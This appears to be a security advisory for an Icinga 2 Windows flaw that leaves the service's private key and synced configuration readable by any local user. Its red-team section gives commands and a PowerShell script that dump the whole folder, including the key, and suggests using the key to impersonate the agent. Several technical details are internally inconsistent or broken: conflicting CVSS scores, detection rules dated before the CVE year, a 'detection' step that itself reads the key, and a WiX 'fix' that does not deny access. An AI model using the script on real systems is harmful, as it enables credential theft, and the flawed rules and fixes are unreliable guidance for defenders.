CVE-2026-24413

Executive Summary

CVE-2026-24413 is a local information disclosure vulnerability affecting the Icinga 2 monitoring system on Windows platforms. The vulnerability stems from insecure default permissions set by the Icinga 2 MSI installer on the %ProgramData%/icinga2/var folder. This misconfiguration allows any local user to read sensitive files within that directory, including the private key of the Icinga service user and synced configuration data. The vulnerability impacts all Icinga 2 installations on Windows from version 2.3.0 up to, but not including, the patched versions 2.13.14, 2.14.8, and 2.15.2. While the CVSS score is 0.0 in the NVD data, the actual risk is significant in multi-user environments or where local privilege escalation is a concern. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the vulnerability is trivial to exploit locally.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a Windows MSI installer issue. The supply chain risk is limited to the integrity of the Icinga 2 MSI package itself. Users should verify the MSI hash from the official Icinga repository before installation.

CVSS Breakdown & Threat Level

The CVSS vector string is CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. This yields a base score of 5.5 (Medium).

• Attack Vector (AV): Local – The attacker must have local access to the Windows system.
• Attack Complexity (AC): Low – No special conditions are required; the folder permissions are misconfigured by default.
• Privileges Required (PR): None – The attacker does not need any privileges; any local user can read the folder.
• User Interaction (UI): None – No user action is needed for exploitation.
• Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High – The private key and configuration data are fully exposed.
• Integrity (I): None – The vulnerability does not allow modification of data.
• Availability (A): None – The vulnerability does not affect system availability.

Threat Level: Medium. The vulnerability is easy to exploit locally but requires local access. In shared hosting or multi-user Windows environments, the risk is elevated.

Deep Dive & Mechanics

The Icinga 2 MSI installer creates the %ProgramData%/icinga2/var directory with default Windows permissions that grant Read access to the Users group. This is a classic CWE-276 (Incorrect Default Permissions) vulnerability.

The var directory contains:

• Private key of the Icinga service user – Used for TLS authentication between Icinga agents and the master. If compromised, an attacker can impersonate the agent.
• Synced configuration files – May contain sensitive monitoring data, credentials, or network topology information.
• Runtime data – Such as logs, state files, and check results.

The vulnerability is present in the MSI installer's custom actions that set folder permissions. The installer does not explicitly restrict access to the var folder, leaving it with the default inherited permissions from %ProgramData%, which typically allows Users group read access.

The fix in versions 2.13.14, 2.14.8, and 2.15.2 modifies the MSI to set explicit ACLs on the var folder, restricting access to only the Icinga service user and local administrators.

Vulnerable vs. Patched Code

The vulnerability is not in the Icinga 2 source code itself but in the MSI installer configuration. The "code" is the installer's custom action script (WiX or similar) that sets folder permissions.

Vulnerable Installer (pseudo-WiX):

<Directory Id="ProgramDataFolder">
  <Directory Id="IcingaDataDir" Name="icinga2">
    <Directory Id="VarDir" Name="var">
      <!-- No explicit Permission element, inherits default permissions -->
    </Directory>
  </Directory>
</Directory>

Patched Installer (pseudo-WiX):

<Directory Id="ProgramDataFolder">
  <Directory Id="IcingaDataDir" Name="icinga2">
    <Directory Id="VarDir" Name="var">
      <Permission User="Administrators" GenericAll="yes" />
      <Permission User="IcingaServiceUser" GenericAll="yes" />
      <Permission User="SYSTEM" GenericAll="yes" />
      <!-- Explicitly deny Users group -->
      <Permission User="Users" Read="no" />
    </Directory>
  </Directory>
</Directory>

The workaround via Icinga for Windows (IfW) versions >= v1.13.4, v1.12.4, or v1.11.2 automatically corrects the ACLs on the var folder and the PowerShell module certificate folder.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with Icinga 2 installed (versions 2.3.0 to 2.13.13, 2.14.0 to 2.14.7, or 2.15.0 to 2.15.1).
• No administrative privileges required.

Exploitation Steps:

1. Identify the target folder:

   dir C:\ProgramData\icinga2\var
   

2. List the contents:

   dir C:\ProgramData\icinga2\var /s
   

3. Extract the private key:

   type C:\ProgramData\icinga2\var\lib\icinga2\certs\icinga2.key
   

4. Extract configuration files:

   type C:\ProgramData\icinga2\var\lib\icinga2\api\log\*
   

5. Use the private key for impersonation: The private key can be used to authenticate as the Icinga agent to the master, potentially allowing lateral movement or data exfiltration.

Automated Exploit Script (PowerShell):

$targetPath = "C:\ProgramData\icinga2\var"
if (Test-Path $targetPath) {
    Write-Host "[+] Found Icinga 2 var folder"
    Get-ChildItem -Path $targetPath -Recurse -File | ForEach-Object {
        Write-Host "[+] Reading: $($_.FullName)"
        Get-Content $_.FullName
    }
} else {
    Write-Host "[-] Target not found"
}

Blue Team

Detection Steps:

1. Check folder permissions:

   icacls C:\ProgramData\icinga2\var
   

   Look for BUILTIN\Users:(R) or similar entries granting read access to non-privileged users.

2. Monitor for unauthorized access: Enable Windows Security Auditing on the var folder:

   auditpol /set /subcategory:"File System" /success:enable /failure:enable
   

   Then set SACL on the folder:

   icacls C:\ProgramData\icinga2\var /audit /grant "Everyone":R
   

3. Check for private key exposure: Look for processes reading the private key file:

   type C:\ProgramData\icinga2\var\lib\icinga2\certs\icinga2.key
   

   If any non-Icinga process has accessed this file, investigate.

4. Verify Icinga for Windows version:

   Get-Module -ListAvailable -Name icinga-powershell-framework | Select-Object Version
   

   Ensure version is >= 1.13.4, 1.12.4, or 1.11.2.

Indicators of Compromise (IOCs)

• File Path: C:\ProgramData\icinga2\var\lib\icinga2\certs\icinga2.key – Private key file readable by all users.
• File Path: C:\ProgramData\icinga2\var\lib\icinga2\api\log\* – API log files containing configuration data.
• Registry Key: HKLM\SOFTWARE\Icinga\Icinga 2 – May contain installation path.
• Process: icinga2.exe – The Icinga 2 daemon.
• Network Connection: Outbound TLS connections from the Icinga agent to the master (port 5665 by default).
• Event ID 4663 (Windows Security Log): An attempt to access an object (the var folder) by a non-privileged user.

Detection Engineering

YARA Rule

rule CVE_2026_24413_Icinga2_PrivateKey_Exposure {
    meta:
        description = "Detects exposure of Icinga 2 private key file readable by all users"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-24413"
        severity = "medium"
    strings:
        $key_header = "-----BEGIN PRIVATE KEY-----"
        $icinga_path = "C:\\ProgramData\\icinga2\\var"
        $key_file = "icinga2.key"
    condition:
        $key_header and $icinga_path and $key_file
}

Sigma Rule

title: Icinga 2 Private Key Read by Non-Privileged User
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects when a non-privileged user reads the Icinga 2 private key file
author: Valters IT
date: 2025-04-10
tags:
    - attack.credential_access
    - attack.t1552.001
    - cve.2026.24413
logsource:
    product: windows
    service: security
    definition: 'Requirements: Audit File System must be enabled'
detection:
    selection:
        EventID: 4663
        ObjectName|contains: 'C:\ProgramData\icinga2\var\lib\icinga2\certs\icinga2.key'
        AccessMask: '0x1'  # READ_DATA
    filter:
        SubjectUserName|startswith:
            - 'NT AUTHORITY\SYSTEM'
            - 'BUILTIN\Administrators'
            - 'IcingaServiceUser'  # Adjust to actual service account name
    condition: selection and not filter
falsepositives:
    - Legitimate Icinga service account reading its own key
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 5665 (msg:"CVE-2026-24413 Icinga 2 Agent Impersonation via Exposed Private Key"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; within:1; content:"icinga2"; nocase; reference:cve,2026-24413; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Icinga 2 to version 2.13.14, 2.14.8, or 2.15.2 (or later).
2. Upgrade Icinga for Windows to at least v1.13.4, v1.12.4, or v1.11.2.
3. Manually fix ACLs if upgrade is not possible:

   icacls "C:\ProgramData\icinga2\var" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "BUILTIN\Administrators:(OI)(CI)F" /grant "IcingaServiceUser:(OI)(CI)F" /remove "Users"
   icacls "C:\Program Files\WindowsPowerShell\Modules\icinga-powershell-framework\certificate" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "BUILTIN\Administrators:(OI)(CI)F" /grant "IcingaServiceUser:(OI)(CI)F" /remove "Users"
   

Long-term Mitigations:

• Principle of Least Privilege: Ensure the Icinga service runs with a dedicated, low-privilege account.
• Regular Auditing: Monitor folder permissions on %ProgramData%\icinga2\var using a configuration management tool (e.g., Ansible, DSC).
• Network Segmentation: Restrict access to the Icinga master to trusted networks only.
• Certificate Rotation: If the private key was exposed, revoke and regenerate the certificate immediately.

Workarounds:

• If upgrading is not feasible, apply the manual ACL fix above.
• Use AppLocker or WDAC to restrict which users can execute tools that read the var folder.

Valters IT